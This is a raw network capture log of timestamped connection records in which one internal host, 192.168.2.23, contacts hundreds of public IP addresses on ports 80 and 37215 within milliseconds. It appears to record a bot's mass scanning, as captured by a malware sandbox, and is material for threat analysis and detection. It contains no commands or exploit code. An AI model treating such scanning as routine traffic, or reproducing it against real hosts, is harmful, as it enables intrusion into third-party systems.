Jun 1, 2024 18:15:53.215317965 CEST	43496	80	192.168.2.23	125.249.4.8
Jun 1, 2024 18:15:53.215328932 CEST	60650	37215	192.168.2.23	197.110.138.202
Jun 1, 2024 18:15:53.215714931 CEST	37215	60650	197.209.82.130	192.168.2.23
Jun 1, 2024 18:15:53.215750933 CEST	60650	37215	192.168.2.23	197.209.82.130
Jun 1, 2024 18:15:53.215768099 CEST	80	43496	147.82.150.6	192.168.2.23
Jun 1, 2024 18:15:53.215776920 CEST	80	43496	97.98.66.98	192.168.2.23
Jun 1, 2024 18:15:53.215785980 CEST	37215	60650	197.45.100.124	192.168.2.23
Jun 1, 2024 18:15:53.215795040 CEST	37215	60650	197.146.171.195	192.168.2.23
Jun 1, 2024 18:15:53.215802908 CEST	80	43496	161.155.0.127	192.168.2.23
Jun 1, 2024 18:15:53.215812922 CEST	80	43496	81.28.225.110	192.168.2.23
Jun 1, 2024 18:15:53.215812922 CEST	43496	80	192.168.2.23	97.98.66.98
Jun 1, 2024 18:15:53.215816021 CEST	43496	80	192.168.2.23	147.82.150.6
Jun 1, 2024 18:15:53.215816021 CEST	60650	37215	192.168.2.23	197.45.100.124
Jun 1, 2024 18:15:53.215818882 CEST	60650	37215	192.168.2.23	197.146.171.195
Jun 1, 2024 18:15:53.215831041 CEST	43496	80	192.168.2.23	161.155.0.127
Jun 1, 2024 18:15:53.215832949 CEST	80	43496	171.226.106.17	192.168.2.23
Jun 1, 2024 18:15:53.215835094 CEST	43496	80	192.168.2.23	81.28.225.110
Jun 1, 2024 18:15:53.215842962 CEST	80	43496	142.48.228.191	192.168.2.23
Jun 1, 2024 18:15:53.215852976 CEST	37215	60650	41.55.129.139	192.168.2.23
Jun 1, 2024 18:15:53.215859890 CEST	43496	80	192.168.2.23	171.226.106.17
Jun 1, 2024 18:15:53.215862036 CEST	80	43496	140.65.176.71	192.168.2.23
Jun 1, 2024 18:15:53.215873003 CEST	80	43496	45.146.71.207	192.168.2.23
Jun 1, 2024 18:15:53.215873003 CEST	43496	80	192.168.2.23	142.48.228.191
Jun 1, 2024 18:15:53.215882063 CEST	37215	60650	156.132.68.208	192.168.2.23
Jun 1, 2024 18:15:53.215888023 CEST	43496	80	192.168.2.23	140.65.176.71
Jun 1, 2024 18:15:53.215890884 CEST	60650	37215	192.168.2.23	41.55.129.139
Jun 1, 2024 18:15:53.215902090 CEST	43496	80	192.168.2.23	45.146.71.207
Jun 1, 2024 18:15:53.215903997 CEST	37215	60650	197.116.147.113	192.168.2.23
Jun 1, 2024 18:15:53.215914011 CEST	37215	60650	41.83.178.152	192.168.2.23
Jun 1, 2024 18:15:53.215918064 CEST	60650	37215	192.168.2.23	156.132.68.208
Jun 1, 2024 18:15:53.215924978 CEST	80	43496	220.6.123.126	192.168.2.23
Jun 1, 2024 18:15:53.215934038 CEST	80	43496	103.61.241.2	192.168.2.23
Jun 1, 2024 18:15:53.215941906 CEST	60650	37215	192.168.2.23	197.116.147.113
Jun 1, 2024 18:15:53.215941906 CEST	60650	37215	192.168.2.23	41.83.178.152
Jun 1, 2024 18:15:53.215950966 CEST	43496	80	192.168.2.23	220.6.123.126
Jun 1, 2024 18:15:53.215959072 CEST	80	43496	177.229.215.11	192.168.2.23
Jun 1, 2024 18:15:53.215960026 CEST	43496	80	192.168.2.23	103.61.241.2
Jun 1, 2024 18:15:53.215996027 CEST	80	43496	96.93.85.25	192.168.2.23
Jun 1, 2024 18:15:53.215998888 CEST	43496	80	192.168.2.23	177.229.215.11
Jun 1, 2024 18:15:53.216006041 CEST	80	43496	57.7.191.209	192.168.2.23
Jun 1, 2024 18:15:53.216015100 CEST	80	43496	36.186.132.209	192.168.2.23
Jun 1, 2024 18:15:53.216023922 CEST	80	43496	177.23.199.0	192.168.2.23
Jun 1, 2024 18:15:53.216036081 CEST	43496	80	192.168.2.23	96.93.85.25
Jun 1, 2024 18:15:53.216037989 CEST	43496	80	192.168.2.23	57.7.191.209
Jun 1, 2024 18:15:53.216038942 CEST	43496	80	192.168.2.23	36.186.132.209
Jun 1, 2024 18:15:53.216042042 CEST	80	43496	110.121.167.250	192.168.2.23
Jun 1, 2024 18:15:53.216051102 CEST	80	43496	158.104.120.9	192.168.2.23
Jun 1, 2024 18:15:53.216054916 CEST	43496	80	192.168.2.23	177.23.199.0
Jun 1, 2024 18:15:53.216073990 CEST	43496	80	192.168.2.23	110.121.167.250
Jun 1, 2024 18:15:53.216077089 CEST	43496	80	192.168.2.23	158.104.120.9
Jun 1, 2024 18:15:53.216530085 CEST	80	43496	68.109.103.190	192.168.2.23
Jun 1, 2024 18:15:53.216547966 CEST	80	43496	161.185.213.38	192.168.2.23
Jun 1, 2024 18:15:53.216556072 CEST	37215	60650	156.61.22.38	192.168.2.23
Jun 1, 2024 18:15:53.216573000 CEST	43496	80	192.168.2.23	68.109.103.190
Jun 1, 2024 18:15:53.216573000 CEST	43496	80	192.168.2.23	161.185.213.38
Jun 1, 2024 18:15:53.216586113 CEST	60650	37215	192.168.2.23	156.61.22.38
Jun 1, 2024 18:15:53.216615915 CEST	37215	60650	197.228.250.45	192.168.2.23
Jun 1, 2024 18:15:53.216624975 CEST	80	43496	117.152.33.240	192.168.2.23
Jun 1, 2024 18:15:53.216639996 CEST	80	43496	186.235.4.236	192.168.2.23
Jun 1, 2024 18:15:53.216649055 CEST	80	43496	148.110.0.63	192.168.2.23
Jun 1, 2024 18:15:53.216658115 CEST	37215	60650	197.119.27.92	192.168.2.23
Jun 1, 2024 18:15:53.216659069 CEST	60650	37215	192.168.2.23	197.228.250.45
Jun 1, 2024 18:15:53.216660976 CEST	43496	80	192.168.2.23	117.152.33.240
Jun 1, 2024 18:15:53.216667891 CEST	80	43496	130.203.142.170	192.168.2.23
Jun 1, 2024 18:15:53.216670990 CEST	43496	80	192.168.2.23	148.110.0.63
Jun 1, 2024 18:15:53.216675997 CEST	80	43496	170.176.99.242	192.168.2.23
Jun 1, 2024 18:15:53.216679096 CEST	43496	80	192.168.2.23	186.235.4.236
Jun 1, 2024 18:15:53.216686010 CEST	37215	60650	156.143.238.107	192.168.2.23
Jun 1, 2024 18:15:53.216690063 CEST	60650	37215	192.168.2.23	197.119.27.92
Jun 1, 2024 18:15:53.216695070 CEST	43496	80	192.168.2.23	130.203.142.170
Jun 1, 2024 18:15:53.216697931 CEST	80	43496	76.194.102.135	192.168.2.23
Jun 1, 2024 18:15:53.216710091 CEST	43496	80	192.168.2.23	170.176.99.242
Jun 1, 2024 18:15:53.216712952 CEST	60650	37215	192.168.2.23	156.143.238.107
Jun 1, 2024 18:15:53.216716051 CEST	80	43496	37.49.198.32	192.168.2.23
Jun 1, 2024 18:15:53.216727018 CEST	80	43496	130.214.163.211	192.168.2.23
Jun 1, 2024 18:15:53.216732025 CEST	43496	80	192.168.2.23	76.194.102.135
Jun 1, 2024 18:15:53.216737986 CEST	80	43496	152.225.46.40	192.168.2.23
Jun 1, 2024 18:15:53.216747046 CEST	80	43496	58.110.105.226	192.168.2.23
Jun 1, 2024 18:15:53.216751099 CEST	43496	80	192.168.2.23	37.49.198.32
Jun 1, 2024 18:15:53.216753960 CEST	43496	80	192.168.2.23	130.214.163.211
Jun 1, 2024 18:15:53.216756105 CEST	37215	60650	197.201.49.99	192.168.2.23
Jun 1, 2024 18:15:53.216768980 CEST	43496	80	192.168.2.23	58.110.105.226
Jun 1, 2024 18:15:53.216768980 CEST	43496	80	192.168.2.23	152.225.46.40
Jun 1, 2024 18:15:53.216784954 CEST	80	43496	71.74.24.154	192.168.2.23
Jun 1, 2024 18:15:53.216785908 CEST	60650	37215	192.168.2.23	197.201.49.99
Jun 1, 2024 18:15:53.216794968 CEST	80	43496	219.6.173.219	192.168.2.23
Jun 1, 2024 18:15:53.216821909 CEST	43496	80	192.168.2.23	71.74.24.154
Jun 1, 2024 18:15:53.216824055 CEST	43496	80	192.168.2.23	219.6.173.219
Jun 1, 2024 18:15:53.217221975 CEST	80	43496	27.224.62.94	192.168.2.23
Jun 1, 2024 18:15:53.217231035 CEST	80	43496	41.27.170.172	192.168.2.23
Jun 1, 2024 18:15:53.217251062 CEST	37215	60650	156.3.25.71	192.168.2.23
Jun 1, 2024 18:15:53.217259884 CEST	43496	80	192.168.2.23	41.27.170.172
Jun 1, 2024 18:15:53.217261076 CEST	37215	60650	41.105.20.20	192.168.2.23
Jun 1, 2024 18:15:53.217262030 CEST	43496	80	192.168.2.23	27.224.62.94
Jun 1, 2024 18:15:53.217269897 CEST	37215	60650	156.223.61.123	192.168.2.23
Jun 1, 2024 18:15:53.217278004 CEST	80	43496	75.154.175.205	192.168.2.23
Jun 1, 2024 18:15:53.217293024 CEST	60650	37215	192.168.2.23	41.105.20.20
Jun 1, 2024 18:15:53.217293978 CEST	60650	37215	192.168.2.23	156.223.61.123
Jun 1, 2024 18:15:53.217293978 CEST	60650	37215	192.168.2.23	156.3.25.71
Jun 1, 2024 18:15:53.217295885 CEST	80	43496	38.251.84.30	192.168.2.23
Jun 1, 2024 18:15:53.217305899 CEST	37215	60650	41.176.229.52	192.168.2.23
Jun 1, 2024 18:15:53.217308044 CEST	43496	80	192.168.2.23	75.154.175.205
Jun 1, 2024 18:15:53.217314959 CEST	37215	60650	197.192.157.62	192.168.2.23
Jun 1, 2024 18:15:53.217324972 CEST	80	43496	87.20.222.49	192.168.2.23
Jun 1, 2024 18:15:53.217333078 CEST	80	43496	171.7.135.15	192.168.2.23
Jun 1, 2024 18:15:53.217334986 CEST	43496	80	192.168.2.23	38.251.84.30
Jun 1, 2024 18:15:53.217334986 CEST	60650	37215	192.168.2.23	41.176.229.52
Jun 1, 2024 18:15:53.217345953 CEST	80	43496	157.234.57.105	192.168.2.23
Jun 1, 2024 18:15:53.217348099 CEST	60650	37215	192.168.2.23	197.192.157.62
Jun 1, 2024 18:15:53.217350006 CEST	43496	80	192.168.2.23	87.20.222.49
Jun 1, 2024 18:15:53.217355013 CEST	80	43496	20.29.218.34	192.168.2.23
Jun 1, 2024 18:15:53.217359066 CEST	43496	80	192.168.2.23	171.7.135.15
Jun 1, 2024 18:15:53.217365980 CEST	80	43496	158.153.129.42	192.168.2.23
Jun 1, 2024 18:15:53.217380047 CEST	43496	80	192.168.2.23	20.29.218.34
Jun 1, 2024 18:15:53.217384100 CEST	43496	80	192.168.2.23	157.234.57.105
Jun 1, 2024 18:15:53.217396975 CEST	43496	80	192.168.2.23	158.153.129.42
Jun 1, 2024 18:15:53.217772007 CEST	80	43496	100.221.9.70	192.168.2.23
Jun 1, 2024 18:15:53.217804909 CEST	43496	80	192.168.2.23	100.221.9.70
Jun 1, 2024 18:15:53.217812061 CEST	80	43496	5.107.180.100	192.168.2.23
Jun 1, 2024 18:15:53.217820883 CEST	80	43496	74.216.58.202	192.168.2.23
Jun 1, 2024 18:15:53.217829943 CEST	37215	60650	197.148.76.200	192.168.2.23
Jun 1, 2024 18:15:53.217844963 CEST	43496	80	192.168.2.23	74.216.58.202
Jun 1, 2024 18:15:53.217845917 CEST	43496	80	192.168.2.23	5.107.180.100
Jun 1, 2024 18:15:53.217854977 CEST	80	43496	52.235.41.185	192.168.2.23
Jun 1, 2024 18:15:53.217859983 CEST	60650	37215	192.168.2.23	197.148.76.200
Jun 1, 2024 18:15:53.217864990 CEST	37215	60650	156.95.125.193	192.168.2.23
Jun 1, 2024 18:15:53.217875004 CEST	80	43496	154.41.239.35	192.168.2.23
Jun 1, 2024 18:15:53.217885017 CEST	37215	60650	197.106.136.103	192.168.2.23
Jun 1, 2024 18:15:53.217890024 CEST	43496	80	192.168.2.23	52.235.41.185
Jun 1, 2024 18:15:53.217890978 CEST	60650	37215	192.168.2.23	156.95.125.193
Jun 1, 2024 18:15:53.217905045 CEST	37215	60650	41.27.130.162	192.168.2.23
Jun 1, 2024 18:15:53.217909098 CEST	43496	80	192.168.2.23	154.41.239.35
Jun 1, 2024 18:15:53.217910051 CEST	60650	37215	192.168.2.23	197.106.136.103
Jun 1, 2024 18:15:53.217938900 CEST	60650	37215	192.168.2.23	41.27.130.162
Jun 1, 2024 18:15:53.217982054 CEST	37215	60650	156.150.30.147	192.168.2.23
Jun 1, 2024 18:15:53.217992067 CEST	80	43496	32.112.35.220	192.168.2.23
Jun 1, 2024 18:15:53.218015909 CEST	60650	37215	192.168.2.23	156.150.30.147
Jun 1, 2024 18:15:53.218018055 CEST	43496	80	192.168.2.23	32.112.35.220
Jun 1, 2024 18:15:53.218328953 CEST	37215	60650	197.125.222.169	192.168.2.23
Jun 1, 2024 18:15:53.218338013 CEST	37215	60650	197.197.101.158	192.168.2.23
Jun 1, 2024 18:15:53.218348026 CEST	80	43496	44.60.172.27	192.168.2.23
Jun 1, 2024 18:15:53.218363047 CEST	60650	37215	192.168.2.23	197.125.222.169
Jun 1, 2024 18:15:53.218365908 CEST	60650	37215	192.168.2.23	197.197.101.158
Jun 1, 2024 18:15:53.218365908 CEST	37215	60650	156.34.155.21	192.168.2.23
Jun 1, 2024 18:15:53.218378067 CEST	80	43496	105.49.228.116	192.168.2.23
Jun 1, 2024 18:15:53.218379974 CEST	43496	80	192.168.2.23	44.60.172.27
Jun 1, 2024 18:15:53.218394995 CEST	60650	37215	192.168.2.23	156.34.155.21
Jun 1, 2024 18:15:53.218396902 CEST	80	43496	24.169.230.127	192.168.2.23
Jun 1, 2024 18:15:53.218410969 CEST	43496	80	192.168.2.23	105.49.228.116
Jun 1, 2024 18:15:53.218415022 CEST	80	43496	198.87.81.242	192.168.2.23
Jun 1, 2024 18:15:53.218422890 CEST	37215	60650	41.56.33.87	192.168.2.23
Jun 1, 2024 18:15:53.218434095 CEST	43496	80	192.168.2.23	198.87.81.242
Jun 1, 2024 18:15:53.218440056 CEST	37215	60650	156.28.210.242	192.168.2.23
Jun 1, 2024 18:15:53.218442917 CEST	43496	80	192.168.2.23	24.169.230.127
Jun 1, 2024 18:15:53.218449116 CEST	37215	60650	197.96.246.53	192.168.2.23
Jun 1, 2024 18:15:53.218456030 CEST	60650	37215	192.168.2.23	41.56.33.87
Jun 1, 2024 18:15:53.218460083 CEST	37215	60650	156.148.201.37	192.168.2.23
Jun 1, 2024 18:15:53.218467951 CEST	60650	37215	192.168.2.23	156.28.210.242
Jun 1, 2024 18:15:53.218468904 CEST	37215	60650	197.55.157.127	192.168.2.23
Jun 1, 2024 18:15:53.218476057 CEST	60650	37215	192.168.2.23	197.96.246.53
Jun 1, 2024 18:15:53.218477964 CEST	80	43496	125.174.32.240	192.168.2.23
Jun 1, 2024 18:15:53.218487024 CEST	37215	60650	156.223.180.139	192.168.2.23
Jun 1, 2024 18:15:53.218494892 CEST	60650	37215	192.168.2.23	156.148.201.37
Jun 1, 2024 18:15:53.218494892 CEST	60650	37215	192.168.2.23	197.55.157.127
Jun 1, 2024 18:15:53.218496084 CEST	37215	60650	156.150.143.205	192.168.2.23
Jun 1, 2024 18:15:53.218508959 CEST	43496	80	192.168.2.23	125.174.32.240
Jun 1, 2024 18:15:53.218508959 CEST	60650	37215	192.168.2.23	156.223.180.139
Jun 1, 2024 18:15:53.218518972 CEST	60650	37215	192.168.2.23	156.150.143.205
Jun 1, 2024 18:15:53.218852043 CEST	37215	60650	197.201.172.18	192.168.2.23
Jun 1, 2024 18:15:53.218869925 CEST	80	43496	94.148.254.79	192.168.2.23
Jun 1, 2024 18:15:53.218878984 CEST	37215	60650	197.6.139.109	192.168.2.23
Jun 1, 2024 18:15:53.218889952 CEST	80	43496	62.56.102.74	192.168.2.23
Jun 1, 2024 18:15:53.218899012 CEST	80	43496	204.5.199.215	192.168.2.23
Jun 1, 2024 18:15:53.218913078 CEST	60650	37215	192.168.2.23	197.201.172.18
Jun 1, 2024 18:15:53.218915939 CEST	43496	80	192.168.2.23	94.148.254.79
Jun 1, 2024 18:15:53.218915939 CEST	60650	37215	192.168.2.23	197.6.139.109
Jun 1, 2024 18:15:53.218919992 CEST	43496	80	192.168.2.23	62.56.102.74
Jun 1, 2024 18:15:53.218935966 CEST	37215	60650	41.238.191.9	192.168.2.23
Jun 1, 2024 18:15:53.218945026 CEST	80	43496	83.157.186.70	192.168.2.23
Jun 1, 2024 18:15:53.218946934 CEST	43496	80	192.168.2.23	204.5.199.215
Jun 1, 2024 18:15:53.218954086 CEST	37215	60650	41.235.177.142	192.168.2.23
Jun 1, 2024 18:15:53.218962908 CEST	37215	60650	156.18.112.187	192.168.2.23
Jun 1, 2024 18:15:53.218971968 CEST	80	43496	128.171.108.83	192.168.2.23
Jun 1, 2024 18:15:53.218975067 CEST	43496	80	192.168.2.23	83.157.186.70
Jun 1, 2024 18:15:53.218975067 CEST	60650	37215	192.168.2.23	41.238.191.9
Jun 1, 2024 18:15:53.218975067 CEST	60650	37215	192.168.2.23	41.235.177.142
Jun 1, 2024 18:15:53.218981981 CEST	80	43496	101.118.140.156	192.168.2.23
Jun 1, 2024 18:15:53.218990088 CEST	80	43496	165.124.31.25	192.168.2.23
Jun 1, 2024 18:15:53.218995094 CEST	43496	80	192.168.2.23	128.171.108.83
Jun 1, 2024 18:15:53.218998909 CEST	60650	37215	192.168.2.23	156.18.112.187
Jun 1, 2024 18:15:53.219003916 CEST	43496	80	192.168.2.23	101.118.140.156
Jun 1, 2024 18:15:53.219007969 CEST	37215	60650	41.128.131.106	192.168.2.23
Jun 1, 2024 18:15:53.219017029 CEST	43496	80	192.168.2.23	165.124.31.25
Jun 1, 2024 18:15:53.219018936 CEST	37215	60650	41.101.166.109	192.168.2.23
Jun 1, 2024 18:15:53.219027996 CEST	37215	60650	197.134.51.205	192.168.2.23
Jun 1, 2024 18:15:53.219037056 CEST	80	43496	86.76.208.48	192.168.2.23
Jun 1, 2024 18:15:53.219037056 CEST	60650	37215	192.168.2.23	41.128.131.106
Jun 1, 2024 18:15:53.219044924 CEST	80	43496	145.232.20.240	192.168.2.23
Jun 1, 2024 18:15:53.219053984 CEST	60650	37215	192.168.2.23	41.101.166.109
Jun 1, 2024 18:15:53.219053984 CEST	60650	37215	192.168.2.23	197.134.51.205
Jun 1, 2024 18:15:53.219062090 CEST	43496	80	192.168.2.23	86.76.208.48
Jun 1, 2024 18:15:53.219083071 CEST	43496	80	192.168.2.23	145.232.20.240
Jun 1, 2024 18:15:53.219496012 CEST	37215	60650	41.91.234.196	192.168.2.23
Jun 1, 2024 18:15:53.219505072 CEST	37215	60650	41.97.19.152	192.168.2.23
Jun 1, 2024 18:15:53.219515085 CEST	80	43496	90.162.21.48	192.168.2.23
Jun 1, 2024 18:15:53.219523907 CEST	37215	60650	156.127.90.204	192.168.2.23
Jun 1, 2024 18:15:53.219532967 CEST	37215	60650	41.27.223.60	192.168.2.23
Jun 1, 2024 18:15:53.219536066 CEST	60650	37215	192.168.2.23	41.91.234.196
Jun 1, 2024 18:15:53.219536066 CEST	60650	37215	192.168.2.23	41.97.19.152
Jun 1, 2024 18:15:53.219536066 CEST	43496	80	192.168.2.23	90.162.21.48
Jun 1, 2024 18:15:53.219542027 CEST	80	43496	12.52.22.119	192.168.2.23
Jun 1, 2024 18:15:53.219547987 CEST	60650	37215	192.168.2.23	156.127.90.204
Jun 1, 2024 18:15:53.219561100 CEST	60650	37215	192.168.2.23	41.27.223.60
Jun 1, 2024 18:15:53.219561100 CEST	37215	60650	197.99.42.36	192.168.2.23
Jun 1, 2024 18:15:53.219561100 CEST	43496	80	192.168.2.23	12.52.22.119
Jun 1, 2024 18:15:53.219569921 CEST	37215	60650	41.48.12.228	192.168.2.23
Jun 1, 2024 18:15:53.219579935 CEST	80	43496	188.34.10.231	192.168.2.23
Jun 1, 2024 18:15:53.219588995 CEST	80	43496	24.190.47.232	192.168.2.23
Jun 1, 2024 18:15:53.219594002 CEST	60650	37215	192.168.2.23	41.48.12.228
Jun 1, 2024 18:15:53.219597101 CEST	80	43496	196.189.45.169	192.168.2.23
Jun 1, 2024 18:15:53.219599009 CEST	60650	37215	192.168.2.23	197.99.42.36
Jun 1, 2024 18:15:53.219605923 CEST	37215	60650	156.181.225.232	192.168.2.23
Jun 1, 2024 18:15:53.219608068 CEST	43496	80	192.168.2.23	188.34.10.231
Jun 1, 2024 18:15:53.219615936 CEST	37215	60650	197.134.225.145	192.168.2.23
Jun 1, 2024 18:15:53.219614983 CEST	43496	80	192.168.2.23	24.190.47.232
Jun 1, 2024 18:15:53.219624996 CEST	37215	60650	41.238.217.123	192.168.2.23
Jun 1, 2024 18:15:53.219629049 CEST	43496	80	192.168.2.23	196.189.45.169
Jun 1, 2024 18:15:53.219630003 CEST	60650	37215	192.168.2.23	156.181.225.232
Jun 1, 2024 18:15:53.219634056 CEST	80	43496	71.180.146.115	192.168.2.23
Jun 1, 2024 18:15:53.219643116 CEST	60650	37215	192.168.2.23	197.134.225.145
Jun 1, 2024 18:15:53.219643116 CEST	80	43496	62.184.85.181	192.168.2.23
Jun 1, 2024 18:15:53.219649076 CEST	60650	37215	192.168.2.23	41.238.217.123
Jun 1, 2024 18:15:53.219651937 CEST	43496	80	192.168.2.23	71.180.146.115
Jun 1, 2024 18:15:53.219652891 CEST	37215	60650	156.201.51.85	192.168.2.23
Jun 1, 2024 18:15:53.219661951 CEST	80	43496	65.213.138.80	192.168.2.23
Jun 1, 2024 18:15:53.219671011 CEST	80	43496	99.116.132.93	192.168.2.23
Jun 1, 2024 18:15:53.219676018 CEST	43496	80	192.168.2.23	62.184.85.181
Jun 1, 2024 18:15:53.219677925 CEST	60650	37215	192.168.2.23	156.201.51.85
Jun 1, 2024 18:15:53.219680071 CEST	37215	60650	156.201.231.240	192.168.2.23
Jun 1, 2024 18:15:53.219691992 CEST	37215	60650	156.115.235.196	192.168.2.23
Jun 1, 2024 18:15:53.219692945 CEST	43496	80	192.168.2.23	65.213.138.80
Jun 1, 2024 18:15:53.219696999 CEST	43496	80	192.168.2.23	99.116.132.93
Jun 1, 2024 18:15:53.219711065 CEST	60650	37215	192.168.2.23	156.201.231.240
Jun 1, 2024 18:15:53.219718933 CEST	60650	37215	192.168.2.23	156.115.235.196
Jun 1, 2024 18:15:53.220021009 CEST	37215	60650	41.144.236.142	192.168.2.23
Jun 1, 2024 18:15:53.220051050 CEST	60650	37215	192.168.2.23	41.144.236.142
Jun 1, 2024 18:15:53.220053911 CEST	37215	60650	156.238.81.97	192.168.2.23
Jun 1, 2024 18:15:53.220078945 CEST	37215	60650	156.91.145.83	192.168.2.23
Jun 1, 2024 18:15:53.220083952 CEST	60650	37215	192.168.2.23	156.238.81.97
Jun 1, 2024 18:15:53.220088959 CEST	37215	60650	41.81.248.219	192.168.2.23
Jun 1, 2024 18:15:53.220098972 CEST	37215	60650	197.228.52.125	192.168.2.23
Jun 1, 2024 18:15:53.220114946 CEST	60650	37215	192.168.2.23	41.81.248.219
Jun 1, 2024 18:15:53.220114946 CEST	60650	37215	192.168.2.23	156.91.145.83
Jun 1, 2024 18:15:53.220117092 CEST	37215	60650	41.145.57.118	192.168.2.23
Jun 1, 2024 18:15:53.220125914 CEST	60650	37215	192.168.2.23	197.228.52.125
Jun 1, 2024 18:15:53.220125914 CEST	37215	60650	197.11.90.219	192.168.2.23
Jun 1, 2024 18:15:53.220144033 CEST	37215	60650	41.214.227.2	192.168.2.23
Jun 1, 2024 18:15:53.220149994 CEST	60650	37215	192.168.2.23	41.145.57.118
Jun 1, 2024 18:15:53.220149994 CEST	60650	37215	192.168.2.23	197.11.90.219
Jun 1, 2024 18:15:53.220151901 CEST	37215	60650	197.5.235.244	192.168.2.23
Jun 1, 2024 18:15:53.220161915 CEST	37215	60650	41.224.160.169	192.168.2.23
Jun 1, 2024 18:15:53.220170975 CEST	37215	60650	197.198.55.161	192.168.2.23
Jun 1, 2024 18:15:53.220175982 CEST	60650	37215	192.168.2.23	41.214.227.2
Jun 1, 2024 18:15:53.220179081 CEST	37215	60650	41.232.67.233	192.168.2.23
Jun 1, 2024 18:15:53.220180988 CEST	60650	37215	192.168.2.23	197.5.235.244
Jun 1, 2024 18:15:53.220189095 CEST	37215	60650	41.111.160.6	192.168.2.23
Jun 1, 2024 18:15:53.220197916 CEST	60650	37215	192.168.2.23	197.198.55.161
Jun 1, 2024 18:15:53.220200062 CEST	60650	37215	192.168.2.23	41.232.67.233
Jun 1, 2024 18:15:53.220200062 CEST	37215	60650	41.35.148.12	192.168.2.23
Jun 1, 2024 18:15:53.220201015 CEST	60650	37215	192.168.2.23	41.224.160.169
Jun 1, 2024 18:15:53.220210075 CEST	37215	60650	197.147.64.14	192.168.2.23
Jun 1, 2024 18:15:53.220217943 CEST	60650	37215	192.168.2.23	41.111.160.6
Jun 1, 2024 18:15:53.220218897 CEST	37215	60650	156.82.29.42	192.168.2.23
Jun 1, 2024 18:15:53.220225096 CEST	60650	37215	192.168.2.23	41.35.148.12
Jun 1, 2024 18:15:53.220228910 CEST	37215	60650	197.175.146.0	192.168.2.23
Jun 1, 2024 18:15:53.220237970 CEST	60650	37215	192.168.2.23	197.147.64.14
Jun 1, 2024 18:15:53.220252991 CEST	60650	37215	192.168.2.23	197.175.146.0
Jun 1, 2024 18:15:53.220252991 CEST	60650	37215	192.168.2.23	156.82.29.42
Jun 1, 2024 18:15:53.220563889 CEST	37215	60650	156.139.75.108	192.168.2.23
Jun 1, 2024 18:15:53.220599890 CEST	60650	37215	192.168.2.23	156.139.75.108
Jun 1, 2024 18:15:53.220611095 CEST	37215	60650	41.11.2.133	192.168.2.23
Jun 1, 2024 18:15:53.220619917 CEST	37215	60650	197.205.64.84	192.168.2.23
Jun 1, 2024 18:15:53.220628023 CEST	37215	60650	156.104.98.159	192.168.2.23
Jun 1, 2024 18:15:53.220638037 CEST	37215	60650	197.201.3.159	192.168.2.23
Jun 1, 2024 18:15:53.220644951 CEST	60650	37215	192.168.2.23	41.11.2.133
Jun 1, 2024 18:15:53.220647097 CEST	60650	37215	192.168.2.23	197.205.64.84
Jun 1, 2024 18:15:53.220663071 CEST	60650	37215	192.168.2.23	197.201.3.159
Jun 1, 2024 18:15:53.220674038 CEST	34360	80	192.168.2.23	92.228.245.159
Jun 1, 2024 18:15:53.220695019 CEST	56234	80	192.168.2.23	95.239.226.123
Jun 1, 2024 18:15:53.220710039 CEST	51050	80	192.168.2.23	108.85.135.218
Jun 1, 2024 18:15:53.220711946 CEST	37215	60650	156.46.38.218	192.168.2.23
Jun 1, 2024 18:15:53.220721960 CEST	37215	60650	197.26.58.127	192.168.2.23
Jun 1, 2024 18:15:53.220725060 CEST	60650	37215	192.168.2.23	156.104.98.159
Jun 1, 2024 18:15:53.220726013 CEST	47712	80	192.168.2.23	87.44.98.223
Jun 1, 2024 18:15:53.220731974 CEST	37215	60650	197.142.30.204	192.168.2.23
Jun 1, 2024 18:15:53.220741987 CEST	37215	60650	156.157.179.171	192.168.2.23
Jun 1, 2024 18:15:53.220741987 CEST	60650	37215	192.168.2.23	156.46.38.218
Jun 1, 2024 18:15:53.220746994 CEST	60650	37215	192.168.2.23	197.26.58.127
Jun 1, 2024 18:15:53.220751047 CEST	37215	60650	197.255.26.84	192.168.2.23
Jun 1, 2024 18:15:53.220762968 CEST	60650	37215	192.168.2.23	197.142.30.204
Jun 1, 2024 18:15:53.220767021 CEST	60650	37215	192.168.2.23	156.157.179.171
Jun 1, 2024 18:15:53.220768929 CEST	37215	60650	156.232.29.77	192.168.2.23
Jun 1, 2024 18:15:53.220778942 CEST	37215	60650	41.132.35.49	192.168.2.23
Jun 1, 2024 18:15:53.220779896 CEST	60650	37215	192.168.2.23	197.255.26.84
Jun 1, 2024 18:15:53.220788002 CEST	40992	80	192.168.2.23	52.206.114.48
Jun 1, 2024 18:15:53.220788956 CEST	37215	60650	41.93.40.162	192.168.2.23
Jun 1, 2024 18:15:53.220797062 CEST	60650	37215	192.168.2.23	156.232.29.77
Jun 1, 2024 18:15:53.220798969 CEST	37215	60650	197.21.208.89	192.168.2.23
Jun 1, 2024 18:15:53.220809937 CEST	37215	60650	197.89.31.40	192.168.2.23
Jun 1, 2024 18:15:53.220809937 CEST	60650	37215	192.168.2.23	41.132.35.49
Jun 1, 2024 18:15:53.220813990 CEST	60650	37215	192.168.2.23	41.93.40.162
Jun 1, 2024 18:15:53.220827103 CEST	60650	37215	192.168.2.23	197.21.208.89
Jun 1, 2024 18:15:53.220828056 CEST	60104	80	192.168.2.23	58.199.54.70
Jun 1, 2024 18:15:53.220835924 CEST	60650	37215	192.168.2.23	197.89.31.40
Jun 1, 2024 18:15:53.220851898 CEST	50078	80	192.168.2.23	129.193.114.98
Jun 1, 2024 18:15:53.220869064 CEST	44778	80	192.168.2.23	25.87.20.30
Jun 1, 2024 18:15:53.220886946 CEST	54416	80	192.168.2.23	146.97.242.87
Jun 1, 2024 18:15:53.220902920 CEST	32954	80	192.168.2.23	154.112.153.187
Jun 1, 2024 18:15:53.220915079 CEST	54410	80	192.168.2.23	38.215.187.250
Jun 1, 2024 18:15:53.220927000 CEST	54180	80	192.168.2.23	222.84.171.34
Jun 1, 2024 18:15:53.220943928 CEST	36546	80	192.168.2.23	196.44.130.154
Jun 1, 2024 18:15:53.220959902 CEST	32914	80	192.168.2.23	45.238.94.61
Jun 1, 2024 18:15:53.220959902 CEST	38194	80	192.168.2.23	48.234.108.156
Jun 1, 2024 18:15:53.220977068 CEST	55394	80	192.168.2.23	12.95.201.102
Jun 1, 2024 18:15:53.220987082 CEST	51500	80	192.168.2.23	187.75.110.93
Jun 1, 2024 18:15:53.221031904 CEST	33834	80	192.168.2.23	106.16.15.220
Jun 1, 2024 18:15:53.221046925 CEST	43640	80	192.168.2.23	123.15.159.153
Jun 1, 2024 18:15:53.221064091 CEST	47714	80	192.168.2.23	204.135.242.117
Jun 1, 2024 18:15:53.221088886 CEST	39420	80	192.168.2.23	31.70.83.31
